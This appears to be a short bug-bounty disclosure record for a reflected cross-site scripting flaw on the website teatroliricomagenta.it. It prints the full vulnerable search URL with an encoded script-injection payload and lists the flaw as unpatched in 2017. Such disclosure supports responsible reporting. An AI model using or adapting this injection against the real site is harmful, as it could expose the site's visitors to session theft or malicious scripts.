teatroliricomagenta.it XSS vulnerability

Vulnerable URL: http://www.teatroliricomagenta.it/search/searchsite.asp?cx==FORID%3A9=UTF-8=%22%27--%21%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.08.2017 Vulnerability type:| XSS Vulnerability status:|...